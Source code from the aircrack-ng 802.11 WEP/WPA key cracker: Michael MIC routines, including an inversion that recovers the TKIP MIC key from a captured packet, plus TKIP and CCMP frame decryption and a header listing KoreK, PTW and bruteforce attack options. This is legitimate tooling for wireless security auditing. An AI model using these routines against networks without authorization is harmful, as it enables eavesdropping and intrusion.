michael_remove_byte(struct Michael *mic, uchar bytes[4]) { if( mic->nBytesInM == 0 ) { // Clear the buffer mic->message = bytes[0] << 0 | bytes[1] << 8 | bytes[2] << 16 | bytes[3] << 24; mic->nBytesInM = 4; mic->left -= mic->right; mic->right ^= ROR32( mic->left, 2 ); mic->left -= mic->right; mic->right ^= ROL32( mic->left, 3 ); mic->left -= mic->right; mic->right ^= ((mic->left & 0xff00ff00) >> 8) | ((mic->left & 0x00ff00ff) << 8); mic->left -= mic->right; mic->right ^= ROL32( mic->left, 17 ); mic->left ^= mic->message; } mic->nBytesInM--; mic->message &= ~(0xFF << (8*mic->nBytesInM)); return 0; } int michael_append(struct Michael *mic, uchar *bytes, int length) { while(length > 0) { michael_append_byte(mic, *bytes++); length--; } return 0; } int michael_remove(struct Michael *mic, uchar *bytes, int length) { while(length >= 4) { michael_remove_byte(mic, (bytes+length-4)); length--; } return 0; } int michael_finalize(struct Michael *mic) { // Append the minimum padding michael_append_byte(mic, 0x5a ); michael_append_byte(mic, 0 ); michael_append_byte(mic, 0 ); michael_append_byte(mic, 0 ); michael_append_byte(mic, 0 ); // and then zeroes until the length is a multiple of 4 while( mic->nBytesInM != 0 ) { michael_append_byte(mic, 0 ); } // The appendByte function has already computed the result. mic->mic[0] = (mic->left >> 0 ) & 0xff; mic->mic[1] = (mic->left >> 8 ) & 0xff; mic->mic[2] = (mic->left >> 16) & 0xff; mic->mic[3] = (mic->left >> 24) & 0xff; mic->mic[4] = (mic->right >> 0 ) & 0xff; mic->mic[5] = (mic->right >> 8 ) & 0xff; mic->mic[6] = (mic->right >> 16) & 0xff; mic->mic[7] = (mic->right >> 24) & 0xff; return 0; } int michael_finalize_zero(struct Michael *mic) { // Append the minimum padding michael_append_byte(mic, 0 ); michael_append_byte(mic, 0 ); michael_append_byte(mic, 0 ); michael_append_byte(mic, 0 ); michael_append_byte(mic, 0 ); // and then zeroes until the length is a multiple of 4 while( mic->nBytesInM != 0 ) { michael_append_byte(mic, 0 ); } // The appendByte function has already computed the result. mic->mic[0] = (mic->left >> 0 ) & 0xff; mic->mic[1] = (mic->left >> 8 ) & 0xff; mic->mic[2] = (mic->left >> 16) & 0xff; mic->mic[3] = (mic->left >> 24) & 0xff; mic->mic[4] = (mic->right >> 0 ) & 0xff; mic->mic[5] = (mic->right >> 8 ) & 0xff; mic->mic[6] = (mic->right >> 16) & 0xff; mic->mic[7] = (mic->right >> 24) & 0xff; return 0; } int michael_test(uchar key[8], uchar *message, int length, uchar out[8]) { int i=0; struct Michael mic0; struct Michael mic1; struct Michael mic2; struct Michael mic; init_michael(&mic0, (unsigned char*)"\x00\x00\x00\x00\x00\x00\x00\x00"); init_michael(&mic1, (unsigned char*)"\x00\x00\x00\x00\x00\x00\x00\x00"); init_michael(&mic2, (unsigned char*)"\x00\x00\x00\x00\x00\x00\x00\x00"); michael_append_byte(&mic0, 0x02); michael_append_byte(&mic1, 0x01); michael_append_byte(&mic2, 0x03); michael_finalize(&mic0); michael_finalize_zero(&mic1); michael_finalize(&mic2); printf("Blub 2:"); for(i=0; i<8; i++) { printf("%02X ", mic0.mic[i]); } printf("\n"); printf("Blub 1:"); for(i=0; i<8; i++) { printf("%02X ", mic1.mic[i]); } printf("\n"); printf("Blub 3:"); for(i=0; i<8; i++) { printf("%02X ", mic2.mic[i]); } printf("\n"); init_michael(&mic, key); michael_append(&mic, message, length); michael_finalize(&mic); return (memcmp(mic.mic, out, 8) == 0); } int calc_tkip_mic_key(uchar* packet, int length, uchar key[8]) { int z, is_qos=0; uchar smac[6], dmac[6], bssid[6]; uchar prio[4]; uchar message[4096]; uchar *ptr; struct Michael mic; memset(message, 0, 4096); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if(length < z) return 0; /* Check if 802.11e (QoS) */ if( (packet[0] & 0x80) == 0x80) { z+=2; is_qos = 1; } memset(prio, 0, 4); if(is_qos) { prio[0] = packet[z-2] & 0x0f; } switch( packet[1] & 3 ) { case 0: memcpy( bssid, packet + 16, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 10, 6 ); break; case 1: memcpy( bssid, packet + 4, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 10, 6 ); break; case 2: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 16, 6 ); break; default: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 24, 6 ); break; } ptr = message; memcpy(ptr, dmac, 6); ptr+=6; memcpy(ptr, smac, 6); ptr+=6; memcpy(ptr, prio, 4); ptr+=4; memcpy(ptr, packet+z, length-z-8); ptr+=length-z-8; memcpy(ptr, "\x5a", 1); ptr+=1; memcpy(ptr, ZERO, 4); ptr+=4; if((ptr-message) % 4 > 0) memcpy(ptr, ZERO, 4-((ptr-message)%4)); ptr+=4-((ptr-message)%4); init_michael(&mic, packet+length-8); michael_remove(&mic, message, (ptr-message)); mic.mic[0] = (mic.left >> 0 ) & 0xFF; mic.mic[1] = (mic.left >> 8 ) & 0xFF; mic.mic[2] = (mic.left >> 16) & 0xFF; mic.mic[3] = (mic.left >> 24) & 0xFF; mic.mic[4] = (mic.right >> 0 ) & 0xFF; mic.mic[5] = (mic.right >> 8 ) & 0xFF; mic.mic[6] = (mic.right >> 16) & 0xFF; mic.mic[7] = (mic.right >> 24) & 0xFF; memcpy(key, mic.mic, 8); return 0; } int calc_tkip_mic(uchar* packet, int length, uchar ptk[80], uchar value[8]) { int z, koffset=0, is_qos=0; uchar smac[6], dmac[6], bssid[6]; uchar prio[4]; struct Michael mic; z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if(length < z) return 0; /* Check if 802.11e (QoS) */ if( (packet[0] & 0x80) == 0x80) { z+=2; is_qos = 1; } switch( packet[1] & 3 ) { case 0: memcpy( bssid, packet + 16, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 10, 6 ); break; case 1: memcpy( bssid, packet + 4, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 10, 6 ); koffset = 48+8; break; case 2: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 16, 6 ); koffset = 48; break; default: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 24, 6 ); break; } if(koffset != 48 && koffset != 48+8) return 1; init_michael(&mic, ptk+koffset); michael_append(&mic, dmac, 6); michael_append(&mic, smac, 6); memset(prio, 0, 4); if(is_qos) { prio[0] = packet[z-2] & 0x0f; } michael_append(&mic, prio, 4); michael_append(&mic, packet+z, length - z); michael_finalize(&mic); memcpy(value, mic.mic, 8); return 0; } const short TkipSbox[2][256]= { { 0xC6A5, 0xF884, 0xEE99, 0xF68D, 0xFF0D, 0xD6BD, 0xDEB1, 0x9154, 0x6050, 0x0203, 0xCEA9, 0x567D, 0xE719, 0xB562, 0x4DE6, 0xEC9A, 0x8F45, 0x1F9D, 0x8940, 0xFA87, 0xEF15, 0xB2EB, 0x8EC9, 0xFB0B, 0x41EC, 0xB367, 0x5FFD, 0x45EA, 0x23BF, 0x53F7, 0xE496, 0x9B5B, 0x75C2, 0xE11C, 0x3DAE, 0x4C6A, 0x6C5A, 0x7E41, 0xF502, 0x834F, 0x685C, 0x51F4, 0xD134, 0xF908, 0xE293, 0xAB73, 0x6253, 0x2A3F, 0x080C, 0x9552, 0x4665, 0x9D5E, 0x3028, 0x37A1, 0x0A0F, 0x2FB5, 0x0E09, 0x2436, 0x1B9B, 0xDF3D, 0xCD26, 0x4E69, 0x7FCD, 0xEA9F, 0x121B, 0x1D9E, 0x5874, 0x342E, 0x362D, 0xDCB2, 0xB4EE, 0x5BFB, 0xA4F6, 0x764D, 0xB761, 0x7DCE, 0x527B, 0xDD3E, 0x5E71, 0x1397, 0xA6F5, 0xB968, 0x0000, 0xC12C, 0x4060, 0xE31F, 0x79C8, 0xB6ED, 0xD4BE, 0x8D46, 0x67D9, 0x724B, 0x94DE, 0x98D4, 0xB0E8, 0x854A, 0xBB6B, 0xC52A, 0x4FE5, 0xED16, 0x86C5, 0x9AD7, 0x6655, 0x1194, 0x8ACF, 0xE910, 0x0406, 0xFE81, 0xA0F0, 0x7844, 0x25BA, 0x4BE3, 0xA2F3, 0x5DFE, 0x80C0, 0x058A, 0x3FAD, 0x21BC, 0x7048, 0xF104, 0x63DF, 0x77C1, 0xAF75, 0x4263, 0x2030, 0xE51A, 0xFD0E, 0xBF6D, 0x814C, 0x1814, 0x2635, 0xC32F, 0xBEE1, 0x35A2, 0x88CC, 0x2E39, 0x9357, 0x55F2, 0xFC82, 0x7A47, 0xC8AC, 0xBAE7, 0x322B, 0xE695, 0xC0A0, 0x1998, 0x9ED1, 0xA37F, 0x4466, 0x547E, 0x3BAB, 0x0B83, 0x8CCA, 0xC729, 0x6BD3, 0x283C, 0xA779, 0xBCE2, 0x161D, 0xAD76, 0xDB3B, 0x6456, 0x744E, 0x141E, 0x92DB, 0x0C0A, 0x486C, 0xB8E4, 0x9F5D, 0xBD6E, 0x43EF, 0xC4A6, 0x39A8, 0x31A4, 0xD337, 0xF28B, 0xD532, 0x8B43, 0x6E59, 0xDAB7, 0x018C, 0xB164, 0x9CD2, 0x49E0, 0xD8B4, 0xACFA, 0xF307, 0xCF25, 0xCAAF, 0xF48E, 0x47E9, 0x1018, 0x6FD5, 0xF088, 0x4A6F, 0x5C72, 0x3824, 0x57F1, 0x73C7, 0x9751, 0xCB23, 0xA17C, 0xE89C, 0x3E21, 0x96DD, 0x61DC, 0x0D86, 0x0F85, 0xE090, 0x7C42, 0x71C4, 0xCCAA, 0x90D8, 0x0605, 0xF701, 0x1C12, 0xC2A3, 0x6A5F, 0xAEF9, 0x69D0, 0x1791, 0x9958, 0x3A27, 0x27B9, 0xD938, 0xEB13, 0x2BB3, 0x2233, 0xD2BB, 0xA970, 0x0789, 0x33A7, 0x2DB6, 0x3C22, 0x1592, 0xC920, 0x8749, 0xAAFF, 0x5078, 0xA57A, 0x038F, 0x59F8, 0x0980, 0x1A17, 0x65DA, 0xD731, 0x84C6, 0xD0B8, 0x82C3, 0x29B0, 0x5A77, 0x1E11, 0x7BCB, 0xA8FC, 0x6DD6, 0x2C3A }, { 0xA5C6, 0x84F8, 0x99EE, 0x8DF6, 0x0DFF, 0xBDD6, 0xB1DE, 0x5491, 0x5060, 0x0302, 0xA9CE, 0x7D56, 0x19E7, 0x62B5, 0xE64D, 0x9AEC, 0x458F, 0x9D1F, 0x4089, 0x87FA, 0x15EF, 0xEBB2, 0xC98E, 0x0BFB, 0xEC41, 0x67B3, 0xFD5F, 0xEA45, 0xBF23, 0xF753, 0x96E4, 0x5B9B, 0xC275, 0x1CE1, 0xAE3D, 0x6A4C, 0x5A6C, 0x417E, 0x02F5, 0x4F83, 0x5C68, 0xF451, 0x34D1, 0x08F9, 0x93E2, 0x73AB, 0x5362, 0x3F2A, 0x0C08, 0x5295, 0x6546, 0x5E9D, 0x2830, 0xA137, 0x0F0A, 0xB52F, 0x090E, 0x3624, 0x9B1B, 0x3DDF, 0x26CD, 0x694E, 0xCD7F, 0x9FEA, 0x1B12, 0x9E1D, 0x7458, 0x2E34, 0x2D36, 0xB2DC, 0xEEB4, 0xFB5B, 0xF6A4, 0x4D76, 0x61B7, 0xCE7D, 0x7B52, 0x3EDD, 0x715E, 0x9713, 0xF5A6, 0x68B9, 0x0000, 0x2CC1, 0x6040, 0x1FE3, 0xC879, 0xEDB6, 0xBED4, 0x468D, 0xD967, 0x4B72, 0xDE94, 0xD498, 0xE8B0, 0x4A85, 0x6BBB, 0x2AC5, 0xE54F, 0x16ED, 0xC586, 0xD79A, 0x5566, 0x9411, 0xCF8A, 0x10E9, 0x0604, 0x81FE, 0xF0A0, 0x4478, 0xBA25, 0xE34B, 0xF3A2, 0xFE5D, 0xC080, 0x8A05, 0xAD3F, 0xBC21, 0x4870, 0x04F1, 0xDF63, 0xC177, 0x75AF, 0x6342, 0x3020, 0x1AE5, 0x0EFD, 0x6DBF, 0x4C81, 0x1418, 0x3526, 0x2FC3, 0xE1BE, 0xA235, 0xCC88, 0x392E, 0x5793, 0xF255, 0x82FC, 0x477A, 0xACC8, 0xE7BA, 0x2B32, 0x95E6, 0xA0C0, 0x9819, 0xD19E, 0x7FA3, 0x6644, 0x7E54, 0xAB3B, 0x830B, 0xCA8C, 0x29C7, 0xD36B, 0x3C28, 0x79A7, 0xE2BC, 0x1D16, 0x76AD, 0x3BDB, 0x5664, 0x4E74, 0x1E14, 0xDB92, 0x0A0C, 0x6C48, 0xE4B8, 0x5D9F, 0x6EBD, 0xEF43, 0xA6C4, 0xA839, 0xA431, 0x37D3, 0x8BF2, 0x32D5, 0x438B, 0x596E, 0xB7DA, 0x8C01, 0x64B1, 0xD29C, 0xE049, 0xB4D8, 0xFAAC, 0x07F3, 0x25CF, 0xAFCA, 0x8EF4, 0xE947, 0x1810, 0xD56F, 0x88F0, 0x6F4A, 0x725C, 0x2438, 0xF157, 0xC773, 0x5197, 0x23CB, 0x7CA1, 0x9CE8, 0x213E, 0xDD96, 0xDC61, 0x860D, 0x850F, 0x90E0, 0x427C, 0xC471, 0xAACC, 0xD890, 0x0506, 0x01F7, 0x121C, 0xA3C2, 0x5F6A, 0xF9AE, 0xD069, 0x9117, 0x5899, 0x273A, 0xB927, 0x38D9, 0x13EB, 0xB32B, 0x3322, 0xBBD2, 0x70A9, 0x8907, 0xA733, 0xB62D, 0x223C, 0x9215, 0x20C9, 0x4987, 0xFFAA, 0x7850, 0x7AA5, 0x8F03, 0xF859, 0x8009, 0x171A, 0xDA65, 0x31D7, 0xC684, 0xB8D0, 0xC382, 0xB029, 0x775A, 0x111E, 0xCB7B, 0xFCA8, 0xD66D, 0x3A2C } }; /* TKIP (RC4 + key mixing) decryption routine */ #define ROTR1(x) ((((x) >> 1) & 0x7FFF) ^ (((x) & 1) << 15)) #define LO8(x) ( (x) & 0x00FF ) #define LO16(x) ( (x) & 0xFFFF ) #define HI8(x) ( ((x) >> 8) & 0x00FF ) #define HI16(x) ( ((x) >> 16) & 0xFFFF ) #define MK16(hi,lo) ( (lo) ^ ( LO8(hi) << 8 ) ) #define TK16(N) MK16(TK1[2*(N)+1],TK1[2*(N)]) #define _S_(x) (TkipSbox[0][LO8(x)] ^ TkipSbox[1][HI8(x)]) int calc_tkip_ppk( uchar *h80211, int caplen, uchar TK1[16], uchar key[16] ) { int i, z; uint32_t IV32; uint16_t IV16; uint16_t PPK[6]; if(caplen) {} z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS ) { z += 2; } IV16 = MK16( h80211[z], h80211[z + 2] ); IV32 = ( h80211[z + 4] ) | ( h80211[z + 5] << 8 ) | ( h80211[z + 6] << 16 ) | ( h80211[z + 7] << 24 ); PPK[0] = LO16( IV32 ); PPK[1] = HI16( IV32 ); PPK[2] = MK16( h80211[11], h80211[10] ); PPK[3] = MK16( h80211[13], h80211[12] ); PPK[4] = MK16( h80211[15], h80211[14] ); for( i = 0; i < 8; i++ ) { PPK[0] += _S_( PPK[4] ^ TK16( (i & 1) + 0 ) ); PPK[1] += _S_( PPK[0] ^ TK16( (i & 1) + 2 ) ); PPK[2] += _S_( PPK[1] ^ TK16( (i & 1) + 4 ) ); PPK[3] += _S_( PPK[2] ^ TK16( (i & 1) + 6 ) ); PPK[4] += _S_( PPK[3] ^ TK16( (i & 1) + 0 ) ) + i; } PPK[5] = PPK[4] + IV16; PPK[0] += _S_( PPK[5] ^ TK16(0) ); PPK[1] += _S_( PPK[0] ^ TK16(1) ); PPK[2] += _S_( PPK[1] ^ TK16(2) ); PPK[3] += _S_( PPK[2] ^ TK16(3) ); PPK[4] += _S_( PPK[3] ^ TK16(4) ); PPK[5] += _S_( PPK[4] ^ TK16(5) ); PPK[0] += ROTR1( PPK[5] ^ TK16(6) ); PPK[1] += ROTR1( PPK[0] ^ TK16(7) ); PPK[2] += ROTR1( PPK[1] ); PPK[3] += ROTR1( PPK[2] ); PPK[4] += ROTR1( PPK[3] ); PPK[5] += ROTR1( PPK[4] ); key[0] = HI8( IV16 ); key[1] = ( HI8( IV16 ) | 0x20 ) & 0x7F; key[2] = LO8( IV16 ); key[3] = LO8( (PPK[5] ^ TK16(0) ) >> 1); for( i = 0; i < 6; i++ ) { key[4 + ( 2 * i)] = LO8( PPK[i] ); key[5 + ( 2 * i)] = HI8( PPK[i] ); } return 0; } int decrypt_tkip( uchar *h80211, int caplen, uchar TK1[16] ) { uchar K[16]; int z; z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS ) { z += 2; } calc_tkip_ppk( h80211, caplen, TK1, K ); return( decrypt_wep( h80211 + z + 8, caplen - z - 8, K, 16 ) ); } /* CCMP (AES-CTR-MAC) decryption routine */ static inline void XOR( uchar *dst, uchar *src, int len ) { int i; for( i = 0; i < len; i++ ) dst[i] ^= src[i]; } int decrypt_ccmp( uchar *h80211, int caplen, uchar TK1[16] ) { int is_a4, i, n, z, blocks, is_qos; int data_len, last, offset; uchar B0[16], B[16], MIC[16]; uchar PN[6], AAD[32]; AES_KEY aes_ctx; is_a4 = ( h80211[1] & 3 ) == 3; is_qos = ( h80211[0] & 0x8C ) == 0x88; z = 24 + 6 * is_a4; z += 2 * is_qos; PN[0] = h80211[z + 7]; PN[1] = h80211[z + 6]; PN[2] = h80211[z + 5]; PN[3] = h80211[z + 4]; PN[4] = h80211[z + 1]; PN[5] = h80211[z + 0]; data_len = caplen - z - 8 - 8; B0[0] = 0x59; B0[1] = 0; memcpy( B0 + 2, h80211 + 10, 6 ); memcpy( B0 + 8, PN, 6 ); B0[14] = ( data_len >> 8 ) & 0xFF; B0[15] = ( data_len & 0xFF ); memset( AAD, 0, sizeof( AAD ) ); AAD[2] = h80211[0] & 0x8F; AAD[3] = h80211[1] & 0xC7; memcpy( AAD + 4, h80211 + 4, 3 * 6 ); AAD[22] = h80211[22] & 0x0F; if( is_a4 ) { memcpy( AAD + 24, h80211 + 24, 6 ); if( is_qos ) { AAD[30] = h80211[z - 2] & 0x0F; AAD[31] = 0; B0[1] = AAD[30]; AAD[1] = 22 + 2 + 6; } else { memset(&AAD[30], 0, 2); B0[1] = 0; AAD[1] = 22 + 6; } } else { if( is_qos ) { AAD[24] = h80211[z - 2] & 0x0F; AAD[25] = 0; B0[1] = AAD[24]; AAD[1] = 22 + 2; } else { memset(&AAD[24], 0, 2); B0[1] = 0; AAD[1] = 22; } } AES_set_encrypt_key( TK1, 128, &aes_ctx ); AES_encrypt( B0, MIC, &aes_ctx ); XOR( MIC, AAD, 16 ); AES_encrypt( MIC, MIC, &aes_ctx ); XOR( MIC, AAD + 16, 16 ); AES_encrypt( MIC, MIC, &aes_ctx ); B0[0] &= 0x07; B0[14] = B0[15] = 0; AES_encrypt( B0, B, &aes_ctx ); XOR( h80211 + caplen - 8, B, 8 ); blocks = ( data_len + 16 - 1 ) / 16; last = data_len % 16; offset = z + 8; for( i = 1; i <= blocks; i++ ) { n = ( last > 0 && i == blocks ) ? last : 16; B0[14] = ( i >> 8 ) & 0xFF; B0[15] = i & 0xFF; AES_encrypt( B0, B, &aes_ctx ); XOR( h80211 + offset, B, n ); XOR( MIC, h80211 + offset, n ); AES_encrypt( MIC, MIC, &aes_ctx ); offset += n; } // We need to free the ctx when using gcrypt to avoid memory leaks #ifdef USE_GCRYPT gcry_cipher_close(aes_ctx); #endif return( memcmp( h80211 + offset, MIC, 8 ) == 0 ); } /* ********************************************************************** * Routine: Phase 1 -- generate P1K, given TA, TK, IV32 * * Inputs: * TK[] = Temporal Key [128 bits] * TA[] = transmitter's MAC address [ 48 bits] * IV32 = upper 32 bits of IV [ 32 bits] * Output: * P1K[] = Phase 1 key [ 80 bits] * * Note: * This function only needs to be called every 2**16 frames, * although in theory it could be called every frame. * ********************************************************************** */ // void Phase1(u16b *P1K,const byte *TK,const byte *TA,u32b IV32) // { // int i; // /* Initialize the 80 bits of P1K[] from IV32 and TA[0..5] */ // P1K[0] = Lo16(IV32); // P1K[1] = Hi16(IV32); // P1K[2] = Mk16(TA[1],TA[0]); /* use TA[] as little-endian */ // P1K[3] = Mk16(TA[3],TA[2]); // P1K[4] = Mk16(TA[5],TA[4]); // /* Now compute an unbalanced Feistel cipher with 80-bit block */ // /* size on the 80-bit block P1K[], using the 128-bit key TK[] */ // for (i=0; i < PHASE1_LOOP_CNT ;i++) // { /* Each add operation here is mod 2**16 */ // P1K[0] += _S_(P1K[4] ^ TK16((i&1)+0)); // P1K[1] += _S_(P1K[0] ^ TK16((i&1)+2)); // P1K[2] += _S_(P1K[1] ^ TK16((i&1)+4)); // P1K[3] += _S_(P1K[2] ^ TK16((i&1)+6)); // P1K[4] += _S_(P1K[3] ^ TK16((i&1)+0)); // P1K[4] += i; /* avoid "slide attacks" */ // } // } /* ********************************************************************** * Routine: Phase 2 -- generate RC4KEY, given TK, P1K, IV16 * * Inputs: * TK[] = Temporal Key [128 bits] * P1K[] = Phase 1 output key [ 80 bits] * IV16 = low 16 bits of IV counter [ 16 bits] * Output: * RC4KEY[] = the key used to encrypt the frame [128 bits] * * Note: * The value {TA,IV32,IV16} for Phase1/Phase2 must be unique * across all frames using the same key TK value. Then, for a * given value of TK[], this TKIP48 construction guarantees that * the final RC4KEY value is unique across all frames. * * Suggested implementation optimization: if PPK[] is "overlaid" * appropriately on RC4KEY[], there is no need for the final * for loop below that copies the PPK[] result into RC4KEY[]. * ********************************************************************** */ // void Phase2(byte *RC4KEY,const byte *TK,const u16b *P1K,u16b IV16) // { // int i; // u16b PPK[6]; /* temporary key for mixing */ // /* all adds in the PPK[] equations below are mod 2**16 */ // for (i=0;i<5;i++) PPK[i]=P1K[i]; /* first, copy P1K to PPK */ // PPK[5] = P1K[4] + IV16; /* next, add in IV16 */ // /* Bijective non-linear mixing of the 96 bits of PPK[0..5] */ // PPK[0] += _S_(PPK[5] ^ TK16(0)); /* Mix key in each "round" */ // PPK[1] += _S_(PPK[0] ^ TK16(1)); // PPK[2] += _S_(PPK[1] ^ TK16(2)); // PPK[3] += _S_(PPK[2] ^ TK16(3)); // PPK[4] += _S_(PPK[3] ^ TK16(4)); // PPK[5] += _S_(PPK[4] ^ TK16(5)); /* Total # S-box lookups == 6 */ // /* Final sweep: bijective, linear. Rotates kill LSB correlations */ // PPK[0] += RotR1(PPK[5] ^ TK16(6)); // PPK[1] += RotR1(PPK[0] ^ TK16(7)); /* Use all of TK[] in Phase2 */ // PPK[2] += RotR1(PPK[1]); // PPK[3] += RotR1(PPK[2]); // PPK[4] += RotR1(PPK[3]); // PPK[5] += RotR1(PPK[4]); // /* At this point, for a given key TK[0..15], the 96-bit output */ // /* value PPK[0..5] is guaranteed to be unique, as a function */ // /* of the 96-bit "input" value {TA,IV32,IV16}. That is, P1K */ // /* is now a keyed permutation of {TA,IV32,IV16}. */ // /* Set RC4KEY[0..3], which includes cleartext portion of RC4 key */ // RC4KEY[0] = Hi8(IV16); /* RC4KEY[0..2] is the WEP IV */ // RC4KEY[1] =(Hi8(IV16) | 0x20) & 0x7F; /* Help avoid FMS weak keys */ // RC4KEY[2] = Lo8(IV16); // RC4KEY[3] = Lo8((PPK[5] ^ TK16(0)) >> 1); // /* Copy 96 bits of PPK[0..5] to RC4KEY[4..15] (little-endian) */ // for (i=0;i<6;i++) // { // RC4KEY[4+2*i] = Lo8(PPK[i]); // RC4KEY[5+2*i] = Hi8(PPK[i]); // } // } aircrack-ng-1.2-beta3/src/aircrack-ng.h0000644000000000000000000002123112313366351016352 0ustar rootroot/* * 802.11 WEP / WPA-PSK Key Cracker * * Copyright (C) 2007-2012 Martin Beck * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef _AIRCRACK_NG_H #define _AIRCRACK_NG_H #include #include #include "aircrack-ptw-lib.h" #include "eapol.h" #define SUCCESS 0 #define FAILURE 1 #define RESTART 2 #ifndef O_BINARY #define O_BINARY 0 #endif #define MAX_DICTS 128 #define ASCII_LOW_T 0x21 #define ASCII_HIGH_T 0x7E #define ASCII_VOTE_STRENGTH_T 150 #define ASCII_DISREGARD_STRENGTH 1 #define TEST_MIN_IVS 4 #define TEST_MAX_IVS 32 #define PTW_TRY_STEP 5000 #define KEYHSBYTES PTW_KEYHSBYTES #define MAX_THREADS 128 #define CLOSE_IT 100000 #define GENPMKMAGIC 0x43575041 struct hashdb_head { uint32_t magic; uint8_t reserved1[3]; uint8_t ssidlen; uint8_t ssid[32]; }; struct hashdb_rec { uint8_t rec_size; char *word; uint8_t pmk[32]; } __attribute__ ((packed)); extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); extern int getmac(char * macAddress, int strict, unsigned char * mac); extern int readLine(char line[], int maxlength); extern int hexToInt(char s[], int len); extern int hexCharToInt(unsigned char c); #define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00" #define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06") #define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00") #define IEEE80211_FC1_DIR_FROMDS 0x02 /* AP ->STA */ #define KEYLIMIT 1000000 #define N_ATTACKS 17 enum KoreK_attacks { A_u15, /* semi-stable 15% */ A_s13, /* stable 13% */ A_u13_1, /* unstable 13% */ A_u13_2, /* unstable ? 13% */ A_u13_3, /* unstable ? 13% */ A_s5_1, /* standard 5% (~FMS) */ A_s5_2, /* other stable 5% */ A_s5_3, /* other stable 5% */ A_u5_1, /* unstable 5% no good ? */ A_u5_2, /* unstable 5% */ A_u5_3, /* unstable 5% no good */ A_u5_4, /* unstable 5% */ A_s3, /* stable 3% */ A_4_s13, /* stable 13% on q = 4 */ A_4_u5_1, /* unstable 5% on q = 4 */ A_4_u5_2, /* unstable 5% on q = 4 */ A_neg /* helps reject false positives */ }; struct options { int amode; /* attack mode */ int essid_set; /* essid set flag */ int bssid_set; /* bssid set flag */ char essid[33]; /* target ESSID */ unsigned char bssid[6]; /* target BSSID */ int nbcpu; /* # of cracker threads (= # of CPU) */ int is_quiet; /* quiet mode flag */ unsigned char debug[64]; /* user-defined WEP key */ int debug_row[64] ; /* user-defined Row WEP key */ unsigned char maddr[6]; /* MAC address filter */ int keylen; /* WEP key length */ int index; /* WEP key index */ float ffact; /* bruteforce factor */ int korek; /* attack strategy */ int is_fritz; /* use numeric keyspace */ int is_alnum; /* alphanum keyspace */ int is_bcdonly; /* binary coded decimal */ int do_brute; /* bruteforce last 2 KB */ int do_mt_brute; /* bruteforce last 2 KB multithreaded for SMP*/ int do_testy; /* experimental attack */ int do_ptw; /* PTW WEP attack */ char *dicts[MAX_DICTS]; /* dictionary files */ FILE *dict; /* dictionary file */ int nbdict; /* current dict number */ int no_stdin; /* if dict == stdin */ int hexdict[MAX_DICTS]; /* if dict in hex */ int showASCII; /* Show ASCII version of*/ /* the wepkey */ int l33t; /* no comment */ int stdin_dict; int probability; /* %of correct answers */ int votes[N_ATTACKS]; /* votes for korek attacks */ int brutebytes[64]; /* bytes to bruteforce */ int next_ptw_try; int max_ivs; char *bssidmerge; unsigned char *firstbssid; struct mergeBSSID * bssid_list_1st; struct AP_info *ap; int wep_decloak; int ptw_attack; int visual_inspection; /* Enabling/disabling visual */ /* inspection of the different */ /* keybytes */ int oneshot; /* Do PTW once */ char * logKeyToFile; int forced_amode; /* signals disregarding automatic detection of encryption type */ char * wkp; /* EWSA Project file */ char * hccap; /* Hashcat capture file */ } opt; typedef struct { int idx, val; } vote; struct WEP_data { unsigned char key[64]; /* the current chosen WEP key */ unsigned char *ivbuf; /* buffer holding all the IVs */ int nb_aps; /* number of targeted APs */ long nb_ivs; /* # of unique IVs in buffer */ long nb_ivs_now; /* # of unique IVs available */ int fudge[64]; /* bruteforce level (1 to 256) */ int depth[64]; /* how deep we are in the fudge */ vote poll[64][256]; /* KoreK cryptanalysis results */ } wep; struct AP_info { struct AP_info *next; /* next AP in linked list */ unsigned char bssid[6]; /* access point MAC address */ char essid[33]; /* access point identifier */ unsigned char lanip[4]; /* IP address if unencrypted */ unsigned char *ivbuf; /* table holding WEP IV data */ unsigned char **uiv_root; /* IV uniqueness root struct */ long ivbuf_size; /* IV buffer allocated size */ long nb_ivs; /* total number of unique IVs */ long nb_ivs_clean; /* total number of unique IVs */ long nb_ivs_vague; /* total number of unique IVs */ int crypt; /* encryption algorithm */ int eapol; /* set if EAPOL is present */ int target; /* flag set if AP is a target */ struct ST_info *st_1st; /* linked list of stations */ struct WPA_hdsk wpa; /* valid WPA handshake data */ PTW_attackstate *ptw_clean; PTW_attackstate *ptw_vague; }; struct ST_info { struct AP_info *ap; /* parent AP */ struct ST_info *next; /* next supplicant */ struct 